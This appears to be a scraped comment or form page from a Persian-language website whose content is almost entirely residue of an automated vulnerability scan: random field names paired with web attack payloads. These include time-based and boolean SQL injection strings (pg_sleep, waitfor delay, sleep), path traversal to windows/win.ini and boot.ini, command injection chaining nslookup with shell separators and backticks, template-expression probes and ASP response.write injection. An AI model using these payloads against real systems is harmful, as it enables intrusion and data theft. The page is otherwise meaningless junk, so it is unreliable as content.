12345'"\'\");|]*{ <>�''💩



sminxyia      

1



qqbbdwim      

LhnqqPyd');select pg_sleep(6); --



qqbbdwim      

cApsvY9b');select pg_sleep(9); --



sminxyia      

${9999045+9999314}



sminxyia      

${10000491+9999576}



sminxyia      

${9999786+10000169}



print `nslookup bfpbYLQp`      

1



thilxqng      

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini



fhgykdhq      

1



hfkcutbi      

1



hfkcutbi      

1



fhgykdhq      

12345'"\'\");|]*{ <>�''💩



hfkcutbi      

1



hfkcutbi      

1



hfkcutbi      

1



hfkcutbi      

1



hfkcutbi      

1



hfkcutbi      

1



fhgykdhq      

1



hfkcutbi      

1



hfkcutbi      

1



qqbbdwim      

tOltZqGw';select pg_sleep(9); --



print `nslookup u2jvA9SY`      

1



qqbbdwim      

-1));select pg_sleep(9); --



dkygchmp      

1



thilxqng      

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini



thilxqng      

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini



dkygchmp      

1



jxtrfyul      

1



qqbbdwim      

-1);select pg_sleep(6); --



jxtrfyul      

1



qqbbdwim      

-1;select pg_sleep(6); --



thilxqng      

..\..\..\..\..\..\..\..\windows\win.ini



dkygchmp      

1



hfkcutbi      

1



jxtrfyul      

1



hfkcutbi      

1



dkygchmp      

1



thilxqng      

................windowswin.ini



qqbbdwim      

5IFfbUkN')); waitfor delay '0:0:6' --



jxtrfyul      

;nslookup F2Mlc4cM|nslookup F2Mlc4cM&nslookup F2Mlc4cM;



thilxqng      

������������������������������������������������windows��win.ini



qqbbdwim      

QNS6d1GR'); waitfor delay '0:0:6' --



GkkGAEZp      

1



jxtrfyul      

print `nslookup tBkwiMek`



thilxqng      

../../../../../../../../../../windows/win.ini.jpg



9Dv1cKV3      

1



jxtrfyul      

`nslookup Lxb6Nm9J|nslookup Lxb6Nm9J&nslookup Lxb6Nm9J`



thilxqng      

../../../../../../../../../../boot.ini



ZuAZylMN      

1



jxtrfyul      

nslookup HRF4G5hl|nslookup HRF4G5hl&nslookup HRF4G5hl



thilxqng      

../../../../../../../../../../windows/win.ini



jxtrfyul      

"nslookup 7lShwqiM|nslookup 7lShwqiM&nslookup 7lShwqiM"



dkygchmp      

1



dkygchmp      

1



jxtrfyul      

'nslookup H2bKcO7H|nslookup H2bKcO7H&nslookup H2bKcO7H'



"+response.write(9221412*9826019)+"      

1



dkygchmp      

1



jxtrfyul      

nslookup zJdDtoik|nslookup zJdDtoik&nslookup zJdDtoik



'+response.write(9221412*9826019)+'      

1



qqbbdwim      

8brPHaH3'; waitfor delay '0:0:6' --



jxtrfyul      

;nslookup SzEADAjC|nslookup SzEADAjC&nslookup SzEADAjC;



response.write(9221412*9826019)      

1



qqbbdwim      

1 waitfor delay '0:0:6' --



jxtrfyul      

print `nslookup jOXlBnvY`



"+response.write(9672391*9584568)+"      

1



qqbbdwim      

-1)); waitfor delay '0:0:3' --



dkygchmp      

knRMCl2I



qqbbdwim      

-1); waitfor delay '0:0:3' --



dkygchmp      

5yssPYQ4



qqbbdwim      

-1; waitfor delay '0:0:6' --



dkygchmp      

bp6c8rgH



jxtrfyul      

`nslookup qze02Is1|nslookup qze02Is1&nslookup qze02Is1`



qqbbdwim      

-1; waitfor delay '0:0:3' --



'+response.write(9672391*9584568)+'      

1



jxtrfyul      

nslookup 8LuY8fiU|nslookup 8LuY8fiU&nslookup 8LuY8fiU



response.write(9672391*9584568)      

1



jxtrfyul      

"nslookup BcmLk1nt|nslookup BcmLk1nt&nslookup BcmLk1nt"



"+response.write(9331182*9608882)+"      

1



jxtrfyul      

'nslookup VE7RSakw|nslookup VE7RSakw&nslookup VE7RSakw'



'+response.write(9331182*9608882)+'      

1



response.write(9331182*9608882)      

1



jxtrfyul      

nslookup oHtCnDKo|nslookup oHtCnDKo&nslookup oHtCnDKo



hfkcutbi      

1



jxtrfyul      

;nslookup 7rCv5WXB|nslookup 7rCv5WXB&nslookup 7rCv5WXB;



qqbbdwim      

(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/



hfkcutbi      

1



jxtrfyul      

print `nslookup GsHYQHyV`



qqbbdwim      

if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/



hfkcutbi      

1



jxtrfyul      

`nslookup 0gGUpVRv|nslookup 0gGUpVRv&nslookup 0gGUpVRv`



qqbbdwim      

-1" OR 2+265-265-1=0+0+0+1 --



hfkcutbi      

1



jxtrfyul      

nslookup CVs9G9i6|nslookup CVs9G9i6&nslookup CVs9G9i6



qqbbdwim      

-1' OR 2+956-956-1=0+0+0+1 or '6z2n51wj'='



hfkcutbi      

1



jxtrfyul      

"nslookup iDBqjgUg|nslookup iDBqjgUg&nslookup iDBqjgUg"



hfkcutbi      

1



hfkcutbi      

1



qqbbdwim      

-1' OR 2+713-713-1=0+0+0+1 --



qqbbdwim      

-1 OR 2+822-822-1=0+0+0+1



jxtrfyul      

'nslookup SHvUjiLV|nslookup SHvUjiLV&nslookup SHvUjiLV'



jxtrfyul      

nslookup ACpB7GNS|nslookup ACpB7GNS&nslookup ACpB7GNS



qqbbdwim      

-1 OR 2+128-128-1=0+0+0+1 --



qqbbdwim      

VHKE64t0



qqbbdwim      

1



qqbbdwim      

1



hfkcutbi      

1



hfkcutbi      

1



hfkcutbi      

"+response.write(9310267*9604191)+"



hfkcutbi      

'+response.write(9310267*9604191)+'



hfkcutbi      

response.write(9310267*9604191)



hfkcutbi      

"+response.write(9476300*9736460)+"



hfkcutbi      

'+response.write(9476300*9736460)+'



hfkcutbi      

response.write(9476300*9736460)



hfkcutbi      

"+response.write(9022192*9279535)+"



hfkcutbi      

'+response.write(9022192*9279535)+'



hfkcutbi      

response.write(9022192*9279535)



ickowbkv      

1



craawkay      

1



gmnquejx      

1




ثبت دیدگاه



فروشگاه و تعمیرگاه کولر اتومیل خلیل
بانک جامع اطلاعات پزشکان استان گلستان
تلگرام